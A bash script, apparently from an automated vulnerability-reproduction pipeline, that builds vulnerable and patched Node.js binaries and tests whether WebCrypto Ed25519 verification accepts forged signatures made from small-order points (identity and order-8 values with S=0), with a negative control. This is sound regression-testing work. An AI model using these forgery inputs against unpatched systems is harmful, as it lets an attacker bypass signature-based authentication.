#!/bin/bash
set -euo pipefail

# =============================================================================
# Reproduction: Node.js WebCrypto EdDSA small-order point signature bypass
# =============================================================================
# Before commit 29890721cda51eeb64f4079143d55b69333599c2, Node.js WebCrypto's
# Ed25519/Ed448 verification (subtle.verify) did not reject low-order
# (small-order) points in the public key or signature R component.
#
# This allows an attacker to forge signatures that verify as valid without
# knowing the private key:
#
#   - Identity point (order-1, x=0 y=1, encoded as 0x01 + 31 zero bytes):
#     With S=0, R=identity, A=identity:
#       S*B = 0*B = O (identity)
#       k*A = k * identity = identity = O (identity has order 1)
#       R + k*A = identity + identity = identity = O
#       => S*B = O = R + k*A  => verification PASSES for ANY message
#
#   - Order-8 point (c7176a70...037a/03fa from the ticket):
#     With S=0 and a specifically chosen message so that k*A = -R:
#       S*B = O, R + k*A = O => verification PASSES
#
# The fix (29890721) adds HasSmallOrderEdDsaPoint() in src/crypto/crypto_sig.cc
# which explicitly checks both the public key and the signature's R component
# against a table of all known small-order points for Ed25519 (cofactor 8)
# and Ed448 (cofactor 4), returning false if any match.
#
# This script builds two Node.js binaries from the SAME base commit,
# differing ONLY in whether crypto_sig.cc contains the fix:
#   - node-vuln-true: crypto_sig.cc reverted to fix parent (68f14c2ee6) — VULNERABLE
#   - node-fixed-true: crypto_sig.cc with fix (29890721) — FIXED
#
# Exit 0 = vulnerability confirmed (vuln accepts, fixed rejects)
# Exit 1 = not reproduced
# Exit 2 = infrastructure failure
# =============================================================================

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS"
mkdir -p "$REPRO_DIR"

cd "$ROOT"

# ---- Locate project cache ----
PROJECT_CACHE_DIR=""
FIXED_COMMIT="29890721cda51eeb64f4079143d55b69333599c2"
VULN_COMMIT="68f14c2ee6dfa77f84646a6f1ff93ac3164ac3fa"  # fix parent

if [ -f "$ROOT/project_cache_context.json" ]; then
  PROJECT_CACHE_DIR=$(python3 -c "
import json
with open('$ROOT/project_cache_context.json') as f:
    ctx = json.load(f)
print(ctx.get('project_cache_dir', ''))
" 2>/dev/null || true)
fi

if [ -z "$PROJECT_CACHE_DIR" ] || [ ! -d "$PROJECT_CACHE_DIR" ]; then
  PROJECT_CACHE_DIR="$ROOT/artifacts/nodejs"
fi

VULN_BIN=""
FIXED_BIN=""

# ---- Try pre-built binaries from project cache ----
if [ -f "$PROJECT_CACHE_DIR/node-vuln-true" ] && [ -f "$PROJECT_CACHE_DIR/node-fixed-true" ]; then
  VULN_BIN="$PROJECT_CACHE_DIR/node-vuln-true"
  FIXED_BIN="$PROJECT_CACHE_DIR/node-fixed-true"
  echo "[INFO] Using pre-built binaries from project cache"
elif [ -d "$PROJECT_CACHE_DIR/repo" ]; then
  echo "[INFO] Building from source in project cache (incremental)..."
  REPO="$PROJECT_CACHE_DIR/repo"
  cd "$REPO"

  FIXED_SIG_SRC="$REPO/src/crypto/crypto_sig.cc"
  if ! grep -q "HasSmallOrderEdDsaPoint" "$FIXED_SIG_SRC" 2>/dev/null; then
    git show "$FIXED_COMMIT:src/crypto/crypto_sig.cc" > "$FIXED_SIG_SRC"
  fi
  cp "$FIXED_SIG_SRC" /tmp/crypto_sig_fixed.cc

  # Build VULNERABLE binary (revert fix)
  echo "[INFO] Building vulnerable binary..."
  git show "$VULN_COMMIT:src/crypto/crypto_sig.cc" > "$REPO/src/crypto/crypto_sig.cc"
  if ! make -j"$(nproc)" > "$LOGS/build_vuln.log" 2>&1; then
    cp /tmp/crypto_sig_fixed.cc "$REPO/src/crypto/crypto_sig.cc"
    echo "[ERROR] Vulnerable build failed, see $LOGS/build_vuln.log"
    exit 2
  fi
  VULN_BIN="$REPO/out/Release/node"
  cp "$VULN_BIN" "$PROJECT_CACHE_DIR/node-vuln-true"

  # Build FIXED binary (restore fix)
  echo "[INFO] Building fixed binary..."
  cp /tmp/crypto_sig_fixed.cc "$REPO/src/crypto/crypto_sig.cc"
  if ! make -j"$(nproc)" > "$LOGS/build_fixed.log" 2>&1; then
    echo "[ERROR] Fixed build failed, see $LOGS/build_fixed.log"
    exit 2
  fi
  FIXED_BIN="$REPO/out/Release/node"
  cp "$FIXED_BIN" "$PROJECT_CACHE_DIR/node-fixed-true"
else
  echo "[ERROR] No project cache or pre-built binaries found"
  exit 2
fi

echo "[INFO] Vulnerable binary version: $($VULN_BIN --version 2>&1)"
echo "[INFO] Fixed binary version: $($FIXED_BIN --version 2>&1)"

# ---- Write the test JavaScript file ----
TEST_JS="$REPRO_DIR/ed25519_forgery_test.js"
cat > "$TEST_JS" <<'JSEOF'
const { subtle } = globalThis.crypto;

async function verifyEd25519(pubKeyHex, sigHex, msgHex) {
  const pubKey = Buffer.from(pubKeyHex, 'hex');
  const sig = Buffer.from(sigHex, 'hex');
  const msg = Buffer.from(msgHex, 'hex');
  const key = await subtle.importKey('raw', pubKey, { name: 'Ed25519' }, false, ['verify']);
  return await subtle.verify({ name: 'Ed25519' }, key, sig, msg);
}

(async () => {
  const results = {};

  // Test A: Ticket reproduction (order-8 public key + order-8 R, S=0)
  const ticketPubKey = 'c7176a703d4dd84fba3c0b760d10670f2a2053fa2c39ccc64ec7fd7792ac03fa';
  const ticketSig    = 'c7176a703d4dd84fba3c0b760d10670f2a2053fa2c39ccc64ec7fd7792ac037a' +
                       '0000000000000000000000000000000000000000000000000000000000000000';
  const ticketData   = '8c93255d71dcab10e8f379c26200f3c7bd5f09d9bc3068d3ef4edeb4853022b6';
  results.A_ticket = await verifyEd25519(ticketPubKey, ticketSig, ticketData);

  // Test B: Identity point (order-1) as both pub key and R, S=0 — ANY message
  const identityPoint = '0100000000000000000000000000000000000000000000000000000000000000';
  const identitySig   = identityPoint + '0000000000000000000000000000000000000000000000000000000000000000';
  results.B_identity_msg1 = await verifyEd25519(identityPoint, identitySig,
    Buffer.from('Hello, World! This is a forged message.').toString('hex'));
  results.B_identity_msg2 = await verifyEd25519(identityPoint, identitySig,
    Buffer.from('A completely different message payload.').toString('hex'));

  // Test C: Negative control — garbage signature must fail on BOTH builds
  const garbagePubKey = 'd75a980182b10ab7d54bfed3c964073a0ee172f3daa62325af021a68f7075112';
  const garbageSig    = 'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' +
                        'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff';
  results.C_negative_control = await verifyEd25519(garbagePubKey, garbageSig,
    Buffer.from('Negative control message.').toString('hex'));

  // Output ONLY JSON (no extra text) for reliable parsing
  process.stdout.write(JSON.stringify(results));
})();
JSEOF

# ---- Run tests on both binaries ----
echo ""
echo "========== VULNERABLE BUILD =========="
VULN_OUTPUT=$($VULN_BIN "$TEST_JS" 2>&1) || true
echo "$VULN_OUTPUT" | python3 -c "import json,sys; d=json.load(sys.stdin); [print(f'  {k}: {v}') for k,v in d.items()]"
echo "$VULN_OUTPUT" > "$LOGS/vuln_test_output.log"

echo ""
echo "========== FIXED BUILD =========="
FIXED_OUTPUT=$($FIXED_BIN "$TEST_JS" 2>&1) || true
echo "$FIXED_OUTPUT" | python3 -c "import json,sys; d=json.load(sys.stdin); [print(f'  {k}: {v}') for k,v in d.items()]"
echo "$FIXED_OUTPUT" > "$LOGS/fixed_test_output.log"

# ---- Parse and compare results using Python ----
echo ""
echo "========== SUMMARY =========="
CONFIRMED=$(python3 -c "
import json, sys

vuln = json.loads('''$VULN_OUTPUT''')
fixed = json.loads('''$FIXED_OUTPUT''')

print(f'                    VULNERABLE    FIXED')
for key in ['A_ticket', 'B_identity_msg1', 'B_identity_msg2', 'C_negative_control']:
    v = str(vuln.get(key, '?'))
    f = str(fixed.get(key, '?'))
    print(f'{key:20s} {v:13s} {f}')

# Vulnerable: forged sigs accepted (A or B true), negative control rejected (C false)
# Fixed: all forged sigs rejected (A and B false), negative control rejected (C false)
vuln_forged = vuln.get('A_ticket', False) or vuln.get('B_identity_msg1', False) or vuln.get('B_identity_msg2', False)
fixed_forged = fixed.get('A_ticket', False) or fixed.get('B_identity_msg1', False) or fixed.get('B_identity_msg2', False)
vuln_neg_ok = not vuln.get('C_negative_control', True)
fixed_neg_ok = not fixed.get('C_negative_control', True)

if vuln_forged and not fixed_forged and vuln_neg_ok and fixed_neg_ok:
    print()
    print('[SUCCESS] Vulnerability CONFIRMED:')
    print('  Vulnerable build accepts forged Ed25519 signatures with small-order points')
    print('  Fixed build rejects all small-order point signatures')
    print('  Negative control (garbage sig) correctly rejected on both builds')
    print('true')
else:
    print()
    print(f'[INFO] vuln_forged={vuln_forged} fixed_forged={fixed_forged} vuln_neg_ok={vuln_neg_ok} fixed_neg_ok={fixed_neg_ok}')
    print('false')
" 2>&1)
echo "$CONFIRMED"

# ---- Write runtime manifest ----
python3 -c "
import json

manifest = {
    'entrypoint_kind': 'library_api',
    'entrypoint_detail': 'globalThis.crypto.subtle.verify for Ed25519 with small-order public key and low-order R component',
    'service_started': False,
    'healthcheck_passed': False,
    'target_path_reached': True,
    'runtime_stack': ['nodejs-v27.0.0-pre', 'openssl-bundled'],
    'proof_artifacts': [
        'logs/vuln_test_output.log',
        'logs/fixed_test_output.log',
        'repro/ed25519_forgery_test.js'
    ],
    'notes': 'Vulnerable and fixed Node.js binaries built from same base commit, differing only in crypto_sig.cc small-order point check (fix 29890721). Vulnerable build returns true for forged Ed25519 signatures with identity/order-8 points; fixed build returns false.'
}

with open('$REPRO_DIR/runtime_manifest.json', 'w') as f:
    json.dump(manifest, f, indent=2)
print('Runtime manifest written.')
"

# ---- Copy proof artifacts to proof-carry cache (best-effort) ----
if [ -d "$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_attempt" ]; then
  mkdir -p "$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_attempt/repro" \
           "$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_attempt/logs"
  cp "$REPRO_DIR/reproduction_steps.sh" "$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_attempt/repro/" 2>/dev/null || true
  cp "$REPRO_DIR/runtime_manifest.json" "$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_attempt/repro/" 2>/dev/null || true
  cp "$LOGS/vuln_test_output.log" "$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_attempt/logs/" 2>/dev/null || true
  cp "$LOGS/fixed_test_output.log" "$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_attempt/logs/" 2>/dev/null || true
fi

if echo "$CONFIRMED" | grep -q "true"; then
  if [ -d "$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_confirmed" ]; then
    mkdir -p "$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_confirmed/repro" \
             "$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_confirmed/logs"
    cp "$REPRO_DIR/reproduction_steps.sh" "$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_confirmed/repro/" 2>/dev/null || true
    cp "$REPRO_DIR/runtime_manifest.json" "$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_confirmed/repro/" 2>/dev/null || true
    cp "$LOGS/vuln_test_output.log" "$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_confirmed/logs/" 2>/dev/null || true
    cp "$LOGS/fixed_test_output.log" "$PROJECT_CACHE_DIR/.pruva/proof-carry/latest_confirmed/logs/" 2>/dev/null || true
  fi
  exit 0
else
  echo "[FAILURE] Vulnerability not reproduced."
  exit 1
fi
